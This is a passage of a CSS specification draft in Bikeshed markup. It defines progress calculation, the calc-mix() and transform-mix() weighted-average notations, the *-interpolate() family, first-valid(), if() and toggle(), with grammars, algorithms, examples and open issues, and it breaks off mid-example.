		[=made consistent=] with the [=consistent type=] of its arguments,
		resolved by <dfn noexport lt="calculate a progress function">calculating a progress function</dfn> as follows:

		: If the [=progress start value=] and [=progress end value=] are different values
		:: <code>([=progress value=] - [=progress start value=]) / ([=progress end value=] - [=progress start value=])</code>,
			clamped to the [0,1] range if ''no-clamp'' is not specified.
		: If the [=progress start value=] and [=progress end value=] are the same value
		:: 0 if ''no-clamp'' is not specified.

			Otherwise, 0, -∞, or +∞,
			depending on whether [=progress value=]
			is equal to, less than, or greater than
			the shared value.
	</div>

	ISSUE: Do we need a ''percent-progress()'' notation,
	or do enough places auto-convert that it's not necessary?

	ISSUE(11825): Should progress() functions clamp to 0-100%?

	Note: The ''progress()'' function is essentially syntactic sugar
	for a particular pattern of ''calc()'' notations.

<!-- Big Text: *-mix()

              █     █ ████ █     █   ██ ██
 █   █        ██   ██  ▐▌   █   █   █▌   ▐█
  █ █         █▌█ █▐█  ▐▌    █ █   █▌     ▐█
███████ ████▌ █▌ █ ▐█  ▐▌     █    █▌     ▐█
  █ █         █▌   ▐█  ▐▌    █ █   █▌     ▐█
 █   █        █▌   ▐█  ▐▌   █   █   █▌   ▐█
              █▌   ▐█ ████ █     █   ██ ██
-->

<h2 id="mixing">
Weighted Average Notations: the *-mix() family</h2>

	Several <dfn export>mix notations</dfn> in CSS
	allow representing the weighted average of a set of values.
	These [=functional notations=] follow the syntactic pattern:

	<pre class=prod>
		<var>*mix</var>() = <var>*mix</var>( <var>options</var>? , [ <var>value</var> && <<percentage>>? ]# )
	</pre>

	where the <var>options</var> can provide type-specific mixing options,
	and each <var>value</var> and optional <<percentage>> pair in the argument list
	is a <dfn export>mix item</dfn> representing
	an input to the mix and its weight in the average.

	The [=mix notations=] in CSS include:
	* ''calc-mix()'',
		for mixing <<number>>, <<length>>, <<percentage>>, <<time>>,
		and other dimensions representable in ''calc()'' expressions
	* ''transform-mix()'',
		for mixing <<transform-list>>s
	* ''color-mix()'',
		for mixing <<color>> values (see [[css-color-5]])
	* ''cross-fade()'',
		for mixing <<image>> values (see [[css-images-4]])
	* ''palette-mix()'',
		for mixing 'font-palette' values (see [[css-fonts-4]])

<h3 id="mix-percentage-normalization">
Normalizing Mix Percentages</h3>

	If the sum of the mix percentages are greater than 100%,
	they are scaled down;
	if it is less, any remaining percentage is distributed to values whose <<percentage>> is omitted,
	or else assigned to a “none” type value as defined by the specific [=mix notation=].

	<div algorithm>
		To <dfn export>normalize mix percentages</dfn>
		given
		* a [=/list=] of [=mix items=] |items|
			(a value and optional percentage, each between 0% and 100% if specified)
		* an optional |force normalization| flag
			(defaulting to false),

		returning a list of [=mix items=] with normalized percentages
		and a “leftover” percentage:

		1. Let |specified sum| be the sum of the percentages specified in |items|
			(clamped to 100%),
			or 0% if the percentages are omitted for all items.
		2. For each omitted percentage in |items|,
			set it to
			<code>(100% - |specified sum|) / (number of omitted percentages)</code>.
		3. Let |total| be the sum of the percentages of all the items.
		4. If |total| is greater than 100%,
			or if |total| is greater than 0% and the |force normalization| flag is true,
			multiply every percentage in |items| by <code>(100% / |total|)</code>.
		5. If |total| is less than 100%,
			let |leftover| be <code>(100% - |total|)</code>.
			Otherwise, let |leftover| be 0%.
		6. Return |items| and |leftover|.

		Note: At the end of this algorithm, every percentage is set,
		and the sum of all percentages is either 0%
		(if they were all specified as 0% to begin with)
		or 100%.
		The |leftover| value will be applied to the usage-specific “none” type value
		mixed into the final result.
	</div>

<h3 id=mix-resolution>
Mix Resolution</h3>

	The [=used value=] of a valid [=mix notation=] is
	the weighted average of its arguments,
	as specified by the specific notation.

	The [=computed value=] is the [=used value=] if it is possible to calculate.
	Otherwise,
	it is the [=mix notation=] itself,
	with its arguments computed individually.

<h3 id="calc-mix">
Weighted Average of Numeric and Dimensional Values: the ''calc-mix()'' notation</h3>

	The <dfn>calc-mix()</dfn> [=mix notation=]
	represents a weighted average of numeric or dimensional value.
	Like ''calc()'', it is a [=math function=],
	with the following syntactic form:

	<pre class=prod>
		<<calc-mix()>> = calc-mix( [ <<calc-sum>> <<percentage [0,100]>>? ]# )
	</pre>

	The <<calc-sum>> arguments can resolve
	to any <<number>>, <<dimension>>, or <<percentage>>,
	but must have a [=consistent type=]
	or else the function is invalid.
	The result's type will be the [=consistent type=],
	[=made consistent=] with the type of the <<calc-sum>> values.

	The [=used value=] of a valid ''calc-mix()'' is
	the result of producing a weighted average of its <<calc-sum>> values,
	with the weight of each item given by its corresponding <<percentage>>
	after [=normalize mix percentage|normalizing these mix percentages=].
	(Any “leftover” mix percentage is applied to a consistently-typed zero value,
	and thus effectively discarded.)

	The [=computed value=] of a valid ''calc-mix()'' is
	its [=used value=] if all of the <<calc-sum>> and <<percentage>> values in it
	can be resolved,
	and is a ''calc-mix()'' notation
	with each of its <<calc-sum>> and <<percentage>> values computed individually
	otherwise.

<h3 id="transform-mix">
Weighted Average of Transform Values: the ''transform-mix()'' notation</h3>

	The <dfn>transform-mix()</dfn> [=mix notation=]
	represents a weighted average of <<transform-list>>,
	with the following syntactic form:

	<pre class=prod>
		<<transform-mix()>> = transform-mix( [ <<transform-list>> && <<percentage [0,100]>> ]# )
	</pre>

	The [=used value=] of a valid ''transform-mix()'' is
	the result of producing a weighted average of its <<transform-list>> values,
	with the weight of each item given by its corresponding <<percentage>>
	after [=normalize mix percentage|normalizing these mix percentages=].
	Any “leftover” mix percentage is applied to an [=identity transform=]
	appended to the list.
	The weighting can be calculated by
	interpolating each <<transform-list>>
	using its <<percentage>> weight as the interpolation progress
	from the [=identity transform=] towards the <<transform-list>>.
	See [[css-transforms-1#interpolation-of-transforms]].

	If every <<percentage>> weight can be fully resolved,
	and the <<transform-list>>s can be interpolated
	without used-value-time information,
	then the [=computed value=] is the [=used value=];
	it is otherwise the ''transform-mix()'' notation itself
	with its arguments each computed according to their type.

	''transform-mix()'' is, itself, a <<transform-function>>.


<h2 id="interpolation-notation">
Interpolation Mapping Notations: the *-interpolate() family</h2>

	Several <dfn>interpolation notations</dfn> in CSS
	allow representing an interpolated value
	corresponding to a certain amount of <dfn>interpolation progress</dfn>
	along a defined scale or mapping function
	(the <dfn>interpolation map</dfn>).
	The [=functional notations=] follow the syntactic pattern:

	<pre class=prod>
		<var>*interpolate</var>() = <var>*interpolate</var>( [ <var>progress</var> && <var>global-options</var>? ],
		                               <var>stop</var>, [  <var>between-options</var>? , <var>stop</var> ]# )
	</pre>

	Where:
	* |progress| specifies the input position into the [=interpolation map=]; see [[#interpolation-progress-arguments]]
	* |global-options| specifies additional options for the interpolation as a whole,
		and defaults for the between-stop interpolation options.
	* |stop| represents an [=interpolation stop=]; see [[#interpolation-map-arguments]]
	* |between-options| specifies options for the interpolation between the two surrounding stops.

	<div class=example>
		For example,
		the following changes the background color of an element
		depending on the width of the viewport:

		<pre highlight=css>
			background: color-interpolate(100vw in lch,
				200px: palegoldenrod,
				800px: palegreen,
				2000px: powderblue
			);
		</pre>

		* Below ''200px'', the color is ''palegoldenrod'';
		* From ''200px'' to ''800px'',
			the color interpolates in ''lch''
			from ''palegoldenrod'' to ''palegreen'';
		* From ''800px'' to ''2000px'',
			the color interpolate in ''lch''
			from ''palegreen'' to ''powderblue'';
		* Above ''2000px'', the color is ''powderblue''.
	</div>

	<div class=example>
		In the following example,
		the font size interpolates from a smaller size on small screens
		to a larger size on large screens,
		easing along the interpolation curve.
		The author is storing the progress scale in a custom property
		to be able to re-use it across multiple 'font-size' declarations
		throughout the document.

		<pre highlight=css>
			html {
				--font-scale: progress(100vw, 200px, 2000px) ease-in-out;
				font-size: calc-interpolate(var(--font-scale),
					0%: 16px,
					70%: 20px,
					100%: 24px);
			}
			h1 {
				font-size: calc-interpolate(var(--font-scale),
					0%: 1.2rem,
					40%: 2rem,
					100%: 3rem);
			}
		</pre>

		ISSUE: If anyone has better examples to punch in here let us know...
	</div>

	The [=interpolation notations=] in CSS include:
	* ''calc-interpolate()'',
		for interpolating <<number>>, <<length>>, <<percentage>>, <<time>>,
		and other dimensions representable in ''calc()'' expressions
	* ''transform-interpolate()'',
		for interpolating <<transform-list>>s
	* ''color-interpolate()'',
		for interpolating <<color>> values

	and finally the generic ''interpolate()'' notation,
	which can represent the interpolation of any property’s values
	(but only the property’s entire value, not individual components).

	ISSUE: The ''interpolate()'' notation also has a variant that takes a set of keyframes.
	It does this by referring to an ''@keyframes'' rule,
	and pulling the corresponding property declaration out of that.
	It would be nice to allow the other mix notations to take keyframe also,
	but how would we represent a set of keyframes for a [=component value=]
	(rather than a full property value)?

	Issue: Do we have enough use-cases to motivate adding <css>palette-interpolate()</css>?
	''palette-mix()'' already handles transitions.


<h3 id="interpolation-syntax">
Global Syntax of the *-interpolate() family</h3>

	The generic syntax of the [=interpolation notations=] is as follows:

	<pre class=prod>
		<var>interpolate-function</var>() = <var>interpolate-function</var>(
			[
				<<progress-source>> && [ by <<easing-function>> ]?
				&& <<easing-function>>? && <<segment-options>>?
			] ,
			<<input-position>>{1,2} : <<output-value>> ,
			[
				[ <<easing-function>> || <<segment-options>> ]? ,
				<<input-position>>{1,2} : <<output-value>>
			]#?
		)
	</pre>

	These represent the [=interpolation progress=] and [=interpolation map=]
	as described below.


<h4 id="interpolation-progress-arguments">
Specifying the Interpolation Progress</h4>

	The <dfn><<progress-source>></dfn> value type represents
	the [=interpolation progress=] in an [=interpolation notation=].
	Its syntax is:

	<pre class=prod>
		<<progress-source>> = <<percentage>> | <<number>> | <<dimension>> | <<'animation-timeline'>>
	</pre>

	where:

	<dl dfn-type=value dfn-for="<progress-source>, calc-interpolate(), transform-interpolate(), color-interpolate()">
		<dt><dfn><<percentage>></dfn>
		<dd>
			Represents the [=interpolation progress=] as a percentage,
			with ''0%'' computing to zero and ''100%'' computing to 1.

		<dt><dfn><<number>></dfn>
		<dd>
			Represents the [=interpolation progress=] as a number directly.

			Note: This allows the use of the ''progress()'' notations
			and other [=math functions=] that output a <<number>>.

		<dt><dfn><<dimension>></dfn>
		<dd>
		   Represents the [=interpolation progress=] as a dimension,
		   which is converted to a number as specified in [[#interpolation-normalization]].


		Note: Using a <<dimension>> value as <<progress-source>>
		requires at least some of the stops in the [=interpolation map=]
		to also use <<dimension>> positions of the same type.
		See [[#interpolation-normalization]].

		<dt><dfn><<'animation-timeline'>></dfn>
		<dd>
			Represents the [=interpolation progress=]
			as the progress of the specified [[web-animations-1#timelines|animation timeline]].
			The values ''animation-timeline/none'' and ''animation-timeline/auto'' are invalid.
			[[!CSS-ANIMATIONS-2]] [[!WEB-ANIMATIONS-2]]
	</dl>

	Note: Progress values below ''0''/''0%'' and above ''1''/''100%''
	are unconventional, and potentially awkward, but valid.
	For example, most [=easing functions=], though they will accept any input,
	are defined in consideration of progress defined between the [0,1] (i.e. [0%,100%]) range.

<h5 id="interpolation-progress-easing">
Easing Interpolation Progress: the ''by <<easing-function>>'' argument</h5>

	The [=interpolation progress=] given by <<progress-source>> may be optionally modified
	by the <<easing-function>> specified after the <dfn dfn-type=value dfn-for="calc-interpolate(), transform-interpolate(), color-interpolate(), interpolate()">by</dfn> keyword.
	It applies the specified [=easing function=] to the “timeline” of progress as a whole
	by modifying the [=interpolation progress=] before it's applied to the [=interpolation map=],
	analogous to 'animation-timing-function'.

	If omitted, defaults to ''<easing-function>/linear''

<h4 id="interpolation-map-arguments">
Defining the Interpolation Map</h4>

	Similar to the [=gradient functions=],
	the [=interpolation notations=] define an [=interpolation map=] using a stop list,
	associating <dfn>input positions</dfn> with <dfn>output values</dfn>.
	Each <dfn>interpolation stop</dfn> represents, essentially,
	a keyframe of the [=interpolation map=]:
	values between [=interpolation stops=] are interpolated between these adjacent keyframes
	in accordance with the <<segment-options>> and <<easing-function>> arguments applying between those keyframes.

	The [=interpolation map=] values are defined as follows:

	<dl dfn-for="calc-interpolate(), transform-interpolate(), color-interpolate(), interpolate()">
		<dt><dfn type lt="<input-position>|<output-value>"><<input-position>>{1,2} : <<output-value>></dfn>
		<dd>
			Represents an [=interpolation stop=]
			associating the specified [=input position=](s) with the specified [=output values=].
			As with the [=gradient functions=],
			if two <<input-position>>s are specified,
			it is treated the same as two stops with the same <<output-value>>.

			<pre class=prod>
				<<input-position>> = <<percentage>> | <<number>> | <<dimension>>
			</pre>

			Note: <<output-value>> is not given a grammar here,
			as the specific functions specify what their outputs are.
			<<input-position>>, however, is linked to <<progress-source>>,
			see [[#interpolation-validity]].

		<dt><dfn value><<easing-function>></dfn>
		<dd>
			When appearing in the first argument,
			specifies the “default” [=easing function=] to be used between each stop.
			When appearing between stops,
			specifies the [=easing function=] to be used between the two surrounding stops,
			overriding any default provided by a global <<easing-function>> argument.
			(It is analogous to 'animation-timing-function'.)
			If omitted, defaults to ''<easing-function>/linear''.

			The [=input progress value=] to this [=easing function=]
			is the <dfn dfn for>segment interpolation progress</dfn>--
			how far the [=interpolation progress=] is
			between the [=input positions=] of the nearest stops preceding and following it.

			<div class=example>
				For example, in ''color-interpolate(20%, 0%: red, ease-in-out, 80%: green, 100%: blue)'',
				the ''20%'' [=interpolation progress=]
				becomes a ''25%'' [=segment interpolation progress=],
				as ''20%'' is 25% of the way between ''0%'' and ''80%'',
				the surrounding [=input positions=].
			</div>

		<dt><dfn type><<segment-options>></dfn>
		<dd>
			When appearing in the first argument,
			provides any type-specific interpolation options
			that apply to every segment in the [=interpolation map=].
			(For example, ''color-interpolate()'' allows <<color-interpolation-method>>.)
			When appearing between stops,
			provides any type-specific interpolation options
			that apply to the interpolation segment between
			the stops on either side of this argument,
			overriding any default provided by a corresponding global <<segment-options>> argument.
	</dl>

	All positions before the first [=interpolation stop=] map to the first stop's <<output-value>>,
	and all positions after the last [=interpolation stop=] map to the last stop's <<output-value>>.
	In other words, the map fills outward from the first/last stop (just like gradients)--
	it does not interpolate beyond them.

<h3 id="interpolation-normalization">
Validation and Normalization</h3>

<h4 id="interpolation-validity">
Type Checking</h4>

	Each <<progress-source>> and <<input-position>> has a <dfn noexport lt="interpolation input type">type</dfn>,
	which can be <dfn noexport for="interpolation input type">proportional</dfn>
	(<<number>>, <<percentage>>, or <<'animation-timeline'>>)
	or <dfn noexport for="interpolation input type">absolute</dfn>
	(all other types, and <<'animation-timeline'>>).
	The proportional types represent progress as a percentage;
	any mix of these types is valid.
	The [=absolute=] types represent progress in absolute dimensions,
	and all <<progress-source>> and <<input-position>> values that are not [=proportional=]
	must have a [=consistent type=] for the notation to be valid.
	Additionally, an [=interpolation notation=] whose <<progress-source>> is not [=proportional=]
	must have at least one [=absolute=] <<input-position>>
	(in order to define the [=interpolation range=]),
	or else the notation is invalid.

	Note: An <<'animation-timeline'>> has both a [=proportional=] type (the percentage progress)
	as well as an [=absolute=] type (<<time>> or <<length>>).

<h4 id="interpolation-range-calculation">
Calculating the Absolute Interpolation Range</h4>

	The <dfn noexport>interpolation range</dfn> specifies the <<dimension>> values
	corresponding to 0% and 100% [=interpolation progress=],
	and thereby defines the mapping between [=proportional=] and [=absolute=] values.

	In an [=absolutely=] typed [=interpolation map=],
	the first and last [=absolute=] stops in the list
	are assigned to 0% and 100%, respectively.
	(If there is only one [=absolutely=] typed [=interpolation stop=],
	it is assigned to both 0% and 100%.)

	A [=proportionally=] typed [=interpolation map=]
	does not define an [=interpolation range=].

<h4 id=interpolation-dimension-normaolization>
Normalizing Absolute Positions and Progress</h4>

	If a <<progress-source>> or <<input-position>> is specified as a <<dimension>>,
	it is normalized to a number
	by linearly interpolating it between the start and end of the [=interpolation range=].
	(This can produce values less than 0 or greater than 1.)

	<div class=example>
		For example, given a function like:

		<pre highlight=css>
			background-color: color-interpolate(300px in hsl, 200px: red, 500px: green, 600px: blue);
		</pre>

		The [=interpolation range=] is ''(200px, 600px)'',
		so the <<progress-source>> is converted to the number ''0.25'',
		and the three stops are converted to the numbers ''0'', ''.75'', and ''1''.

		Thus, that function is equivalent to:

		<pre highlight=css>
			background-color: color-interpolate(25% in hsl, 0%: red, 75%: green, 100%: blue);
		</pre>

		In either case, the result will be a color 1/3 of the way between ''red'' and ''green''
		using HSL interpolation,
		giving ''hsl(40deg, 100%, 50%)'', a light orange.
	</div>

<h4 id=interpolation-stop-fixup>
Interpolation Stop Fixup</h4>

	Once all [=interpolation stops=] have been normalized,
	they are additionally fixed up so that they progress in order
	from the first stop to the last.
	If any stop has an [=input position=] that is less than the [=input position=] of the preceding stop,
	it is set to the [=input position=] of the previous stop.

<h3 id=interpolation-resolution>
Interpolation Resolution</h3>

	The [=used value=] of a valid [=interpolation notation=] is
	the result of mapping its [=interpolation progress=]
	through the specified [=interpolation map=].

	The [=computed value=] is the [=used value=] if it is possible to calculate.
	Otherwise,
	if its [=interpolation progress=], [=input positions=], and interpolation options
	can all be resolved,
	then it is simplified to a two-stop [=interpolation notation=]
	with <<number>> values for the [=interpolation progress=] and [=input positions=],
	and all other values computed according to their type.
	Otherwise,
	it is the [=interpolation notation=] itself, with its arguments computed individually otherwise.

<h3 id="calc-interpolate">
Interpolated Numeric and Dimensional Values: the ''calc-interpolate()'' notation</h3>

	The <dfn>calc-interpolate()</dfn> [=interpolation notation=]
	represents an interpolated numeric or dimensional value.
	Like ''calc()'', it is a [=math function=],
	with the following syntax:

	<pre class=prod>
		<<calc-interpolate()>> = calc-interpolate(
			[
				<<progress-source>> && [ by <<easing-function>> ]?
				&& <<easing-function>>?
			] ,
			<<input-position>>{1,2} : <<calc-sum>> ,
			[ <<easing-function>>? , <<input-position>>{1,2} : <<calc-sum>> ]#? )
	</pre>

	The <<calc-sum>> arguments can resolve
	to any <<number>>, <<dimension>>, or <<percentage>>,
	but must have a [=consistent type=]
	or else the function is invalid.
	The result's type will be that [=consistent type=].

	The <<progress-source>> and <<input-position>> values
	do not use the inherited [=calculation context=];
	they resolve percentages as specified in [[#interpolation-normalization]].

<h3 id="color-interpolate">
Interpolated Color Values: the ''color-interpolate()'' notation</h3>

	The <dfn>color-interpolate()</dfn> [=interpolation notation=]
	represents an interpolated <<color>> value,
	with the following syntax:

	<pre class=prod>
		<<color-interpolate()>> = color-interpolate(
			[
				<<progress-source>> && [ by <<easing-function>> ]?
				&& <<easing-function>>? && <<color-interpolation-method>>?
			] ,
			<<input-position>>{1,2} : <<color>>,
			[
				[ <<easing-function>> || <<color-interpolation-method>> ]?,
				<<input-position>>{1,2} : <<color>>
			]#? )
	</pre>

<h3 id="transform-interpolate">
Interpolated Transform Values: the ''transform-interpolate()'' notation</h3>

	The <dfn>transform-interpolate()</dfn> [=interpolation notation=]
	represents an interpolated <<transform-list>>,
	with the following syntax:

	<pre class=prod>
		<<transform-interpolate()>> = transform-interpolate(
			[
				<<progress-source>> && [ by <<easing-function>> ]?
				&& <<easing-function>>?
			],
			<<input-position>>{1,2} : <<transform-list>>,
			[ <<easing-function>>?, <<input-position>>{1,2} : <<transform-list>> ]#? )
	</pre>

	''transform-interpolate()'' is, itself, a <<transform-function>>.

<h3 id="mix">
Interpolated Property Values: the ''interpolate()'' notation</h3>

	The <dfn>interpolate()</dfn> [=interpolation notation=]
	represents the interpolation of entire property values,
	which supports two alternative syntax patterns:

	<pre class=prod>
		<<interpolate()>> = interpolate(
			[
				<<progress-source>> && [ by <<easing-function>> ]?
				&& <<easing-function>>?
			] ,
			<<input-position>>{1,2} : <<whole-value>>,
			[ <<easing-function>>?, <<input-position>>{1,2} : <<whole-value>> ]#? )
		|
			interpolate( <<progress-source>> && [ by <<easing-function>> ]?
				&& <<easing-function>>? of <<keyframes-name>> )
	</pre>

	The first syntax alternative, like other [=interpolation notations=],
	assembles an [=interpolation map=] from a list of [=interpolation stops=].
	The second uses the corresponding property declarations from a set of keyframes,
	incorporating those values into the normal [=cascade=] for this property.

	Each <<whole-value>> argument is computed as if it were the value of this property;
	and all other arguments computed according to their type.

	<div class="example">
		For example, most uses of ''interpolate()''
		will resolve at computed-value time:

		<pre>
			color: interpolate(90%, 0: red, 1: blue);
			/* via simple interpolation,
			   computes to: */
			color: rgb(10% 0 90%);

			color: interpolate(90%, 0: currentcolor, 1: black);
			/* can't be fully resolved at computed-value time,
			   but still has a defined representation: */
			color: color-mix(currentcolor 90%, black 10%);

			float: interpolate(90%, 0: left, 1: right);
			/* discretely animatable */
			float: right;
		</pre>
	</div>

	The ''interpolate()'' notation is a <<whole-value>>.
	Additionally,
	if any of its <<whole-value>> arguments are [=not animatable=],
	the notation is invalid.

	<div class="example">
		For example, the following declarations are invalid,
		and will be ignored:

		<pre>
			/* Invalid start value */
			color: interpolate(90%, 0: #invalid, 1: #F00);

			/* Function is mixed with other values */
			background: url(ocean) interpolate(10%, 0: blue, 1: yellow);

			/* 'animation-*' is not animatable */
			animation-delay: interpolate(0%, 0: 0s, 1: 2s);
		</pre>
	</div>

<!-- Big Text: subs

 ███▌  █▌  █▌ ████▌   ███▌
█▌  █▌ █▌  █▌ █▌  █▌ █▌  █▌
█▌     █▌  █▌ █▌  █▌ █▌
 ███▌  █▌  █▌ █████   ███▌
    █▌ █▌  █▌ █▌  █▌     █▌
█▌  █▌ █▌  █▌ █▌  █▌ █▌  █▌
 ███▌   ███▌  ████▌   ███▌
-->

<h2 id="value-insert">
Miscellaneous Value Substituting Functions</h2>

<h3 id="whole-value" type lt="<whole-value>">
Representing An Entire Property Value: the <<whole-value>> type</h3>

	Several functions defined in this specification
	can only be used as the "whole value" of a property.
	For example, ''background-position: toggle(50px 50px, center);'' is valid,
	but ''background-position: toggle(50px, center) 50px;'' is not.
	The <<whole-value>> production represents these values.

	All properties implicitly accept a <<whole-value>>
	as their entire value,
	just as they accept the [=CSS-wide keywords=]
	as their entire value.

	When used as a component value of a function,
	<<whole-value>> also represents any CSS value
	normally valid as the whole value
	of the property in which it is used
	(including additional <<whole-value>> functions).
	However, some functions may restrict
	what a <<whole-value>> argument can include.

<h3 id="first-valid">
Selecting the First Supported Value: the ''first-valid()'' notation</h3>

	CSS supports progressive enhancement with its forward-compatible parsing:
	authors can declare the same property multiple times in a style rule,
	using different values each time,
	and a CSS UA will automatically use the last one that it understands
	and throw out the rest.
	This principle, together with the ''@supports'' rule,
	allows authors to write stylesheets that work well
	in old and new UAs simultaneously.

	However, using ''var()''
	(or similar substitution functions that resolve after parsing)
	thwarts this functionality;
	CSS UAs must assume any such property is valid at parse-time.

	The <dfn>first-valid()</dfn> [=functional notation=]
	inlines the fallback behavior
	intrinsic to parsing declarations.
	Unlike most notations,
	it can accept any valid or invalid syntax in its arguments,
	and represents the first value among its arguments
	that is supported (parsed as valid) by the UA
	as the whole value of the property it's used in.

	<pre class=prod>
		<<first-valid()>> = first-valid( <<declaration-value>># )
	</pre>

	If none of the arguments represent a valid value for the property,
	the property is [=invalid at computed-value time=].

	''first-valid()'' is a <<whole-value>>.

	Issue: Should this have a different name?
	We didn't quite decide on it during the resolution to add this.

	Note: Despite effectively taking <<whole-value>>s as its argument,
	''first-valid()'' is instead defined to take <<declaration-value>>s
	because, by definition,
	it's intended to be used in cases
	<em>where its values might be invalid for the declaration it's in</em>.
	<<declaration-value>> imposes no contextual validity constraints on what it matches,
	unlike <<whole-value>>.

<!-- Big Text: if()

████ █████▌   ██ ██
 ▐▌  █▌      █▌   ▐█
 ▐▌  █▌     █▌     ▐█
 ▐▌  ████   █▌     ▐█
 ▐▌  █▌     █▌     ▐█
 ▐▌  █▌      █▌   ▐█
████ █▌       ██ ██
-->

<h3 id="if-notation">
Conditional Value Selection: the ''if()'' notation</h3>

<wpt>
if-conditionals.html
if-cycle.html
if-function-revert-rule.html
if-initial-unregistered.html
if-invalidation.html
if-media-invalidation.html
if-range-with-attr-crash.html
if-style-invalidation.html
if-supports-quirks.html
</wpt>

	The <dfn>if()</dfn> function is an [=arbitrary substitution function=]
	that represents conditional values.
	Its argument consists of an ordered semi-colon&ndash;separated list of statements,
	each consisting of a condition
	followed by a colon
	followed by a value.
	An ''if()'' function represents
	the value corresponding to the first condition in its argument list to be true;
	if no condition matches,
	then the ''if()'' function represents an empty token stream.

	The ''if()'' function's syntax is defined as follows:

	<pre class=prod>
	<<if()>> = if( [ <<if-branch>> ; ]* <<if-branch>> ;? )
	<dfn><<if-branch>></dfn> = <<if-condition>> : <<declaration-value>>?
	<dfn><<if-condition>></dfn> = <<boolean-expr[ <<if-test>> ]>> | else
	<dfn><<if-test>></dfn> =
	  supports( [ <<ident>> : <<declaration-value>> ] | <<supports-condition>> ) |
	  media( <<media-feature>> | <<media-condition>> ) |
	  style( <<style-query>> )
	</pre>

	The <dfn value for="if()">else</dfn> keyword represents
	a condition that is always true.

	The ''if()'' function's [=argument grammar=] is:

	<pre class=prod>
		<dfn><<if-args>></dfn> = if( [ <<if-args-branch>> ; ]* <<if-args-branch>> ;? )
		<dfn><<if-args-branch>></dfn> = <<declaration-value>> : <<declaration-value>>?
	</pre>

	In the above <<if-args-branch>> production,
	the first <<declaration-value>>
	excludes top-level <<colon-token>>s
	as part of its [=free-form production=] restrictions
	(alongside commas and curly braces).

	<div algorithm>
		To <dfn export>[=replace an arbitrary substitution function|replace an if() function=]</dfn>,
		given a list of |arguments|:

		1. [=list/For each=] <<if-args-branch>> |branch| in |arguments|:

			1. [=Substitute arbitrary substitution functions=] in the first <<declaration-value>> of |branch|,
				then [=CSS/parse=] the result as an <<if-condition>>.
				If parsing returns failure,
				[=iteration/continue=];
				otherwise, let the result be |condition|.

			2. Evaluate |condition|.

				If a <<style-query>> in |condition| tests the value of a property,
				and [=guarded|guarding=] a [=substitution context=] &bs<<;"property", referenced-property-name&bs>>;
				would mark it as a [=cyclic substitution context=],
				that query evaluates to false.

				<div class=example>
					For example, in ''--foo: if(style(--foo: bar): baz);''
					the ''style()'' query is automatically false,
					since [=property replacement=] has already established a &bs<<;"property", "--foo"&bs>>; [=substitution context=].
				</div>

				If the result of |condition| is false,
				[=iteration/continue=].

			3. [=Substitute arbitrary substitution functions=] in the second <<declaration-value>> of |branch|,
				and return the result.

		2. Return nothing (an empty sequence of [=component values=]).
	</div>

	Note: Unlike using ''@media''/''@supports''/''@container'' rules,
	which just ignore their contents when they're false
	and let the cascade determine what values otherwise apply,
	declarations with ''if()'' do not roll back the cascade if the conditions are false;
	any fallback values must be provided inline.
	However, see the ''revert-rule'' [=CSS-wide keyword=].

<!-- Big Text: toggle()

█████▌  ███▌   ███▌   ███▌  █▌    █████▌   ██ ██
  █▌   █▌  █▌ █▌  █▌ █▌  █▌ █▌    █▌      █▌   ▐█
  █▌   █▌  █▌ █▌     █▌     █▌    █▌     █▌     ▐█
  █▌   █▌  █▌ █▌ ██▌ █▌ ██▌ █▌    ████   █▌     ▐█
  █▌   █▌  █▌ █▌  █▌ █▌  █▌ █▌    █▌     █▌     ▐█
  █▌   █▌  █▌ █▌  █▌ █▌  █▌ █▌    █▌      █▌   ▐█
  █▌    ███▌   ███▌   ███▌  █████ █████▌   ██ ██
-->

<h3 id="toggle-notation">
Toggling Between Values: the ''toggle()'' notation</h3>

	The <dfn>toggle()</dfn> expression allows descendant elements
	to cycle over a list of values instead of inheriting the same value.

	<div class='example'>
		The following example makes <code>&lt;em></code> elements italic in general,
		but makes them normal if they're inside something that's italic:

		<pre>em { font-style: toggle(italic, normal); }</pre>
	</div>

	<div class='example'>
		The following example cycles markers for nested lists,
		so that a top level list has ''list-style-type/disc''-shaped markers,
		but nested lists use ''list-style-type/circle'', then ''list-style-type/square'', then ''list-style-type/box'',
		and then repeat through the list of marker shapes,
		starting again (for the 5th list deep) with ''list-style-type/disc''.

		<pre>ul { list-style-type: toggle(disc, circle, square, box); }</pre>
	</div>

	The syntax of the ''toggle()'' expression is:

	<pre class=prod>
		<<toggle()>> = toggle( <<whole-value>># )
	</pre>

	The ''toggle()'' notation is a <<whole-value>>.
	However, it is not allowed to be nested,
	nor may it contain ''attr()'' or ''calc()'' notations;
	declarations containing such constructs are invalid.

	<div class="example">
		The following ''toggle()'' examples are all invalid:

		<pre>
		background-position: 10px toggle(50px, 100px);
		/* toggle() must be the sole value of the property */

		list-style-type: toggle(disc, 50px);
		/* ''50px'' isn't a valid value of 'list-style-type' */
		</pre>
	</div>

	To determine the computed value of ''toggle()'',
	first evaluate each argument as if it were the sole value of the property in which ''toggle()'' is placed
	to determine the computed value that each represents,
	called <var>C<sub>n</sub></var> for the <var>n</var>-th argument to ''toggle()''.
	Then, compare the property's <a>inherited value</a>
	with each <var>C<sub>n</sub></var>.
	For the earliest <var>C<sub>n</sub></var> that matches the <a>inherited value</a>,
	the computed value of ''toggle()'' is <var>C<sub>n+1</sub></var>.
	If the match was the last argument in the list,
	or there was no match,
	the computed value of ''toggle()'' is the computed value that the first argument represents.


	Note: This means that repeating values in a ''toggle()'' short-circuits the list.
	For example ''toggle(1em, 2em, 1em, 4em)'' will be equivalent to ''toggle(1em, 2em)''.

	<!-- Issue: Should this short-circuiting affect the computed value? -->

	Note: That ''toggle()'' explicitly looks at the computed value of the parent,
	so it works even on non-inherited properties.
	This is similar to the ''inherit'' keyword,
	which works even on non-inherited properties.

	Note: The [=computed value=] of a property is an abstract set of values,
	not a particular serialization [[!CSS21]],
	so comparison between computed values should always be unambiguous and have the expected result.
	For example,
	a Level 2 <l spec=css2>'background-position'</l> computed value
	is just two offsets, each represented as an absolute length or a percentage,
	so the declarations ''background-position: top center'' and ''background-position: 50% 0%''
	produce identical computed values.
	If the "Computed Value" line of a property definition seems to define something ambiguous or overly strict,
	please <a href="#sotd">provide feedback</a> so we can fix it.

	If ''toggle()'' is used on a <a>shorthand property</a>,
	it sets each of its longhands to a ''toggle()'' value
	with arguments corresponding to what the longhand would have received
	had each of the original ''toggle()'' arguments been the sole value of the <a>shorthand</a>.

	<div class="example">
		For example, the following shorthand declaration:

		<pre>margin: toggle(1px 2px, 4px, 1px 5px 4px);</pre>

		is equivalent to the following longhand declarations:

		<pre>
